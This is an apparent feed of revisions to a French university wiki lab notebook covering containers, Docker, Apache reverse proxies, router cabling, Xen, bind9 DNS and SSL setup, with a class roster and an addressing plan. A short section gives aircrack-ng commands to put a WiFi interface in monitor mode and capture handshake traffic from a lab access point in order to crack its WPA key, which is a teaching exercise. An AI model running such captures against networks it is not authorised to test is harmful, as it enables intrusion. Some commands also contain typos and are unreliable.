&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 -bssid 04:DA:d2:9C:50:56 -w ./path/cracotte07 wlp2s0&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48521</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48521"/>
				<updated>2018-12-10T17:46:48Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Service internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			2	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {213.167.229.2;217.70.187.25;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/www.hercule.space/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 A COMPLETER POUR LE CERTIFICAT&lt;br /&gt;
         &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 ServerName &amp;quot;www.hercule.space&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019&amp;diff=48219</id>
		<title>TP sysres IMA5sc 2018/2019</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019&amp;diff=48219"/>
				<updated>2018-11-27T11:53:56Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G1 | Cahier groupe n°1]]&lt;br /&gt;
| Taky Djeraba &amp;amp; Baptiste Cartier&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G2 | Cahier groupe n°2]]&lt;br /&gt;
|  Jade Dupont &amp;amp; Quentin Boëns&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G3 | Cahier groupe n°3]]&lt;br /&gt;
| Antoine Duquenoy &amp;amp; Anthony Durot&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G4 | Cahier groupe n°4]]&lt;br /&gt;
| Paul Ribeiro &amp;amp; Antoine Untereiner&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G5 | Cahier groupe n°5]]&lt;br /&gt;
| Delobelle Matthieu&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G6 | Cahier groupe n°6]]&lt;br /&gt;
| Simon Feutrier &amp;amp; Antoine Gosse&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G7 | Cahier groupe n°7]]&lt;br /&gt;
| Naif Mehanna &amp;amp; Maxime Créteur&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G8 | Cahier groupe n°8]]&lt;br /&gt;
| Justine Senellart &amp;amp; Rodolphe Toin&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G9 | Cahier groupe n°9]]&lt;br /&gt;
| Amine El Messaoudi &amp;amp; Thibault Cattelain&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G10 | Cahier groupe n°10]]&lt;br /&gt;
| Etienne Profit &amp;amp; Olivier Mahieux&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G12 | Cahier groupe n°11]]&lt;br /&gt;
| Benjamin Canu &amp;amp; Amaury Carval&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G13 | Cahier groupe n°12]]&lt;br /&gt;
| Ji YANG&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Plan d'adressage ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! VLAN !! Réseau IPV4 !! Réseau IPV6 !! IP routeur 1 !! IP routeur 2 !! Routeur virtuel !! Nom VM !! IP VM&lt;br /&gt;
|-&lt;br /&gt;
|XEN&lt;br /&gt;
|43&lt;br /&gt;
|193.48.57.176/28&lt;br /&gt;
|2001.660.4401.60C0::/64 &lt;br /&gt;
|193.48.57.188/28&lt;br /&gt;
|193.48.57.189/28&lt;br /&gt;
|193.48.57.190/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 1&lt;br /&gt;
|11&lt;br /&gt;
|10.60.11.0/24&lt;br /&gt;
|2001.660.4401.60C1::/64 &lt;br /&gt;
|10.60.11.252/24&lt;br /&gt;
|10.60.11.253/24&lt;br /&gt;
|10.60.11.254/24&lt;br /&gt;
|Thot&lt;br /&gt;
|193.48.57.177/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 2&lt;br /&gt;
|12&lt;br /&gt;
|10.60.12.0/24&lt;br /&gt;
|2001.660.4401.60C2::/64 &lt;br /&gt;
|10.60.12.252/24&lt;br /&gt;
|10.60.12.253/24&lt;br /&gt;
|10.60.12.254/24&lt;br /&gt;
|Dionysos&lt;br /&gt;
|193.48.57.178/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 3&lt;br /&gt;
|13&lt;br /&gt;
|10.60.13.0/24&lt;br /&gt;
|2001.660.4401.60C3::/64 &lt;br /&gt;
|10.60.13.252/24&lt;br /&gt;
|10.60.13.253/24&lt;br /&gt;
|10.60.13.254/24&lt;br /&gt;
|Pegase&lt;br /&gt;
|193.48.57.179/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 4&lt;br /&gt;
|14&lt;br /&gt;
|10.60.14.0/24&lt;br /&gt;
|2001.660.4401.60C4::/64 &lt;br /&gt;
|10.60.14.252/24&lt;br /&gt;
|10.60.14.253/24&lt;br /&gt;
|10.60.14.254/24&lt;br /&gt;
|Hades&lt;br /&gt;
|193.48.57.180/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 5&lt;br /&gt;
|15&lt;br /&gt;
|10.60.15.0/24&lt;br /&gt;
|2001.660.4401.60C5::/64 &lt;br /&gt;
|10.60.15.252/24&lt;br /&gt;
|10.60.15.253/24&lt;br /&gt;
|10.60.15.254/24&lt;br /&gt;
|Chronos&lt;br /&gt;
|193.48.57.181/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 6&lt;br /&gt;
|16&lt;br /&gt;
|10.60.16.0/24&lt;br /&gt;
|2001.660.4401.60C6::/64 &lt;br /&gt;
|10.60.16.252/24&lt;br /&gt;
|10.60.16.253/24&lt;br /&gt;
|10.60.16.254/24&lt;br /&gt;
|Poseidon&lt;br /&gt;
|193.48.57.182/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 7&lt;br /&gt;
|17&lt;br /&gt;
